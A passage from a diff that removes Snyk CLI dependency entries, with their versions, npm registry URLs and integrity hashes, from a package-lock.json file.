"2.5.2", - "@snyk/snyk-hex-plugin": "1.1.1", - "abbrev": "^1.1.1", - "ansi-escapes": "3.2.0", - "chalk": "^2.4.2", - "cli-spinner": "0.2.10", - "configstore": "^5.0.1", - "debug": "^4.1.1", - "diff": "^4.0.1", - "global-agent": "^2.1.12", - "hcl-to-json": "^0.1.1", - "lodash.assign": "^4.2.0", - "lodash.camelcase": "^4.3.0", - "lodash.clonedeep": "^4.5.0", - "lodash.endswith": "^4.2.1", - "lodash.flatten": "^4.4.0", - "lodash.flattendeep": "^4.4.0", - "lodash.get": "^4.4.2", - "lodash.groupby": "^4.6.0", - "lodash.isempty": "^4.4.0", - "lodash.isobject": "^3.0.2", - "lodash.map": "^4.6.0", - "lodash.omit": "^4.5.0", - "lodash.orderby": "^4.6.0", - "lodash.sortby": "^4.7.0", - "lodash.uniq": "^4.5.0", - "lodash.upperfirst": "^4.3.1", - "lodash.values": "^4.3.0", - "micromatch": "4.0.2", - "needle": "2.6.0", - "open": "^7.0.3", - "ora": "5.3.0", - "os-name": "^3.0.0", - "promise-queue": "^2.2.5", - "proxy-from-env": "^1.0.0", - "rimraf": "^2.6.3", - "semver": "^6.0.0", - "snyk-config": "4.0.0", - "snyk-cpp-plugin": "2.2.1", - "snyk-docker-plugin": "4.19.3", - "snyk-go-plugin": "1.17.0", - "snyk-gradle-plugin": "3.14.0", - "snyk-module": "3.1.0", - "snyk-mvn-plugin": "2.25.3", - "snyk-nodejs-lockfile-parser": "1.32.0", - "snyk-nuget-plugin": "1.21.0", - "snyk-php-plugin": "1.9.2", - "snyk-policy": "1.19.0", - "snyk-python-plugin": "1.19.8", - "snyk-resolve": "1.1.0", - "snyk-resolve-deps": "4.7.2", - "snyk-sbt-plugin": "2.11.0", - "snyk-tree": "^1.0.0", - "snyk-try-require": "1.3.1", - "source-map-support": "^0.5.11", - "strip-ansi": "^5.2.0", - "tar": "^6.1.0", - "tempfile": "^2.0.0", - "update-notifier": "^4.1.0", - "uuid": "^3.3.2", - "wrap-ansi": "^5.1.0" - }, - "dependencies": { - "ansi-escapes": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", - "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", - "dev": true - }, - "ansi-regex": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz", - "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==", - "dev": true - }, - "braces": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", - "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", - "dev": true, - "requires": { - "fill-range": "^7.0.1" - } - }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "fill-range": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz", - "integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==", - "dev": true, - "requires": { - "to-regex-range": "^5.0.1" - } - }, - "is-number": { - "version": "7.0.0", - "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", - "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", - "dev": true - }, - "micromatch": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", - "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", - "dev": true, - "requires": { - "braces": "^3.0.1", - "picomatch": "^2.0.5" - } - }, - "mkdirp": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", - "dev": true - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "semver": { - "version": "6.3.0", - "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", - "dev": true - }, - "strip-ansi": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", - "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } - }, - "tar": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/tar/-/tar-6.1.0.tgz", - "integrity": "sha512-DUCttfhsnLCjwoDoFcI+B2iJgYa93vBnDUATYEeRx6sntCTdN01VnqsIuTlALXla/LWooNg0yEGeB+Y8WdFxGA==", - "dev": true, - "requires": { - "chownr": "^2.0.0", - "fs-minipass": "^2.0.0", - "minipass": "^3.0.0", - "minizlib": "^2.1.1", - "mkdirp": "^1.0.3", - "yallist": "^4.0.0" - } - }, - "to-regex-range": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", - "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", - "dev": true, - "requires": { - "is-number": "^7.0.0" - } - }, - "yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true - } - } - }, - "snyk-config": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/snyk-config/-/snyk-config-4.0.0.tgz", - "integrity": "sha512-E6jNe0oUjjzVASWBOAc/mA23DhbzABDF9MI6UZvl0gylh2NSXSXw2/LjlqMNOKL2c1qkbSkzLOdIX5XACoLCAQ==", - "dev": true, - "requires": { - "async": "^3.2.0", - "debug": "^4.1.1", - "lodash.merge": "^4.6.2", - "minimist": "^1.2.5" - }, - "dependencies": { - "async": { - "version": "3.2.0", - "resolved": "https://registry.npmjs.org/async/-/async-3.2.0.tgz", - "integrity": "sha512-TR2mEZFVOj2pLStYxLht7TyfuRzaydfpxr3k9RpHIzMgw7A64dzsdqCxH1WJyQdoe8T10nDXd9wnEigmiuHIZw==", - "dev": true - }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - } - } - }, - "snyk-cpp-plugin": { - "version": "2.2.1", - "resolved": "https://registry.npmjs.org/snyk-cpp-plugin/-/snyk-cpp-plugin-2.2.1.tgz", - "integrity": "sha512-NFwVLMCqKTocY66gcim0ukF6e31VRDJqDapg5sy3vCHqlD1OCNUXSK/aI4VQEEndDrsnFmQepsL5KpEU0dDRIQ==", - "dev": true, - "requires": { - "@snyk/dep-graph": "^1.19.3", - "chalk": "^4.1.0", - "debug": "^4.1.1", - "hosted-git-info": "^3.0.7", - "tslib": "^2.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", - "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "hosted-git-info": { - "version": "3.0.8", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.8.tgz", - "integrity": "sha512-aXpmwoOhRBrw6X3j0h5RloK4x1OzsxMPyxqIHyNfSe2pypkVTZFpEiRoSipPEPlMrh0HW/XsjkJ5WgnCirpNUw==", - "dev": true, - "requires": { - "lru-cache": "^6.0.0" - } - }, - "lru-cache": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", - "dev": true, - "requires": { - "yallist": "^4.0.0" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - }, - "tslib": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", - "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", - "dev": true - }, - "yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true - } - } - }, - "snyk-docker-plugin": { - "version": "4.19.3", - "resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-4.19.3.tgz", - "integrity": "sha512-5WkXyT7uY5NrTOvEqxeMqb6dDcskT3c/gbHUTOyPuvE6tMut+OOYK8RRXbwZFeLzpS8asq4e1R7U7syYG3VXwg==", - "dev": true, - "requires": { - "@snyk/dep-graph": "^1.21.0", - "@snyk/rpm-parser": "^2.0.0", - "@snyk/snyk-docker-pull": "3.2.3", - "chalk": "^2.4.2", - "debug": "^4.1.1", - "docker-modem": "2.1.3", - "dockerfile-ast": "0.2.0", - "elfy": "^1.0.0", - "event-loop-spinner": "^2.0.0", - "gunzip-maybe": "^1.4.2", - "mkdirp": "^1.0.4", - "semver": "^7.3.4", - "snyk-nodejs-lockfile-parser": "1.30.2", - "tar-stream": "^2.1.0", - "tmp": "^0.2.1", - "tslib": "^1", - "uuid": "^8.2.0" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "lru-cache": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", - "dev": true, - "requires": { - "yallist": "^4.0.0" - } - }, - "mkdirp": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", - "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", - "dev": true - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "dev": true, - "requires": { - "glob": "^7.1.3" - } - }, - "semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", - "dev": true, - "requires": { - "lru-cache": "^6.0.0" - } - }, - "snyk-nodejs-lockfile-parser": { - "version": "1.30.2", - "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.30.2.tgz", - "integrity": "sha512-wI3VXVYO/ok0uaQm5i+Koo4rKBNilYC/QRIQFlyGbZXf+WBdRcTBKVDfTy8uNfUhMRSGzd84lNclMnetU9Y+vw==", - "dev": true, - "requires": { - "@snyk/graphlib": "2.1.9-patch.3", - "@yarnpkg/lockfile": "^1.1.0", - "event-loop-spinner": "^2.0.0", - "got": "11.4.0", - "lodash.clonedeep": "^4.5.0", - "lodash.flatmap": "^4.5.0", - "lodash.isempty": "^4.4.0", - "lodash.set": "^4.3.2", - "lodash.topairs": "^4.3.0", - "p-map": "2.1.0", - "snyk-config": "^4.0.0-rc.2", - "tslib": "^1.9.3", - "uuid": "^8.3.0", - "yaml": "^1.9.2" - } - }, - "tmp": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", - "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", - "dev": true, - "requires": { - "rimraf": "^3.0.0" - } - }, - "uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "dev": true - }, - "yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true - } - } - }, - "snyk-go-parser": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/snyk-go-parser/-/snyk-go-parser-1.4.1.tgz", - "integrity": "sha512-StU3uHB85VMEkcgXta63M0Fgd+9cs5sMCjQXTBoYTdE4dxarPn7U67yCuwkRRdZdny1ZXtzfY8LKns9i0+dy9w==", - "dev": true, - "requires": { - "toml": "^3.0.0", - "tslib": "^1.10.0" - } - }, - "snyk-go-plugin": { - "version": "1.17.0", - "resolved": "https://registry.npmjs.org/snyk-go-plugin/-/snyk-go-plugin-1.17.0.tgz", - "integrity": "sha512-1jAYPRgMapO2BYL+HWsUq5gsAiDGmI0Pn7omc0lk24tcUOMhUB+1hb0u9WBMNzHvXBjevBkjOctjpnt2hMKN6Q==", - "dev": true, - "requires": { - "@snyk/dep-graph": "^1.23.1", - "@snyk/graphlib": "2.1.9-patch.3", - "debug": "^4.1.1", - "snyk-go-parser": "1.4.1", - "tmp": "0.2.1", - "tslib": "^1.10.0" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "dev": true, - "requires": { - "glob": "^7.1.3" - } - }, - "tmp": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", - "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", - "dev": true, - "requires": { - "rimraf": "^3.0.0" - } - } - } - }, - "snyk-gradle-plugin": { - "version": "3.14.0", - "resolved": "https://registry.npmjs.org/snyk-gradle-plugin/-/snyk-gradle-plugin-3.14.0.tgz", - "integrity": "sha512-2A8ifM91TyzSx/U2fYvHXbaCRVsEx60hGFQjbSH9Hl9AokxEzMi2qti7wsObs1jUX2m198D1mdXu4k/Y1jWxXg==", - "dev": true, - "requires": { - "@snyk/cli-interface": "2.11.0", - "@snyk/dep-graph": "^1.28.0", - "@snyk/java-call-graph-builder": "1.20.0", - "@types/debug": "^4.1.4", - "chalk": "^3.0.0", - "debug": "^4.1.1", - "tmp": "0.2.1", - "tslib": "^2.0.0" - }, - "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, - "chalk": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", - "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "requires": { - "color-name": "~1.1.4" - } - }, - "color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "rimraf": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", - "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", - "dev": true, - "requires": { - "glob": "^7.1.3" - } - }, - "supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", - "dev": true, - "requires": { - "has-flag": "^4.0.0" - } - }, - "tmp": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", - "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", - "dev": true, - "requires": { - "rimraf": "^3.0.0" - } - }, - "tslib": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", - "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", - "dev": true - } - } - }, - "snyk-module": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-3.1.0.tgz", - "integrity": "sha512-HHuOYEAACpUpkFgU8HT57mmxmonaJ4O3YADoSkVhnhkmJ+AowqZyJOau703dYHNrq2DvQ7qYw81H7yyxS1Nfjw==", - "dev": true, - "requires": { - "debug": "^4.1.1", - "hosted-git-info": "^3.0.4" - }, - "dependencies": { - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "hosted-git-info": { - "version": "3.0.8", - "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.8.tgz", - "integrity": "sha512-aXpmwoOhRBrw6X3j0h5RloK4x1OzsxMPyxqIHyNfSe2pypkVTZFpEiRoSipPEPlMrh0HW/XsjkJ5WgnCirpNUw==", - "dev": true, - "requires": { - "lru-cache": "^6.0.0" - } - }, - "lru-cache": { - "version": "6.0.0", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", - "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", - "dev": true, - "requires": { - "yallist": "^4.0.0" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - }, - "yallist": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", - "dev": true - } - } - }, - "snyk-mvn-plugin": { - "version": "2.25.3", - "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.25.3.tgz", - "integrity": "sha512-JAxOThX51JDbgMMjp3gQDVi07G9VgTYSF06QC7f5LNA0zoXNr743e2rm78RGw5bqE3JRjZxEghiLHPPuvS5DDg==", - "dev": true, - "requires": { - "@snyk/cli-interface": "2.11.0", - "@snyk/dep-graph": "^1.23.1", - "@snyk/java-call-graph-builder": "1.19.1", - "debug": "^4.1.1", - "glob": "^7.1.6", - "needle": "^2.5.0", - "tmp": "^0.1.0", - "tslib": "1.11.1" - }, - "dependencies": { - "@snyk/java-call-graph-builder": { - "version": "1.19.1", - "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.19.1.tgz", - "integrity": "sha512-bxjHef5Qm3pNc+BrFlxMudmSSbOjA395ZqBddc+dvsFHoHeyNbiY56Y1JSGUlTgjRM+PKNPBiCuELTSMaROeZg==", - "dev": true, - "requires": { - "@snyk/graphlib": "2.1.9-patch.3", - "ci-info": "^2.0.0", - "debug": "^4.1.1", - "glob": "^7.1.6", - "jszip": "^3.2.2", - "needle": "^2.3.3", - "progress": "^2.0.3", - "snyk-config": "^4.0.0-rc.2", - "source-map-support": "^0.5.7", - "temp-dir": "^2.0.0", - "tmp": "^0.2.1", - "tslib": "^1.9.3", - "xml-js": "^1.6.11" - }, - "dependencies": { - "tmp": { - "version": "0.2.1", - "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", - "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", - "dev": true, - "requires": { - "rimraf": "^3.0.0" - } - } - } - }, - "debug": { - "version": "4.3.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", - "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", - "dev": true, - "requires": { - "ms": "2.1.2" - } - }, - "ms": { 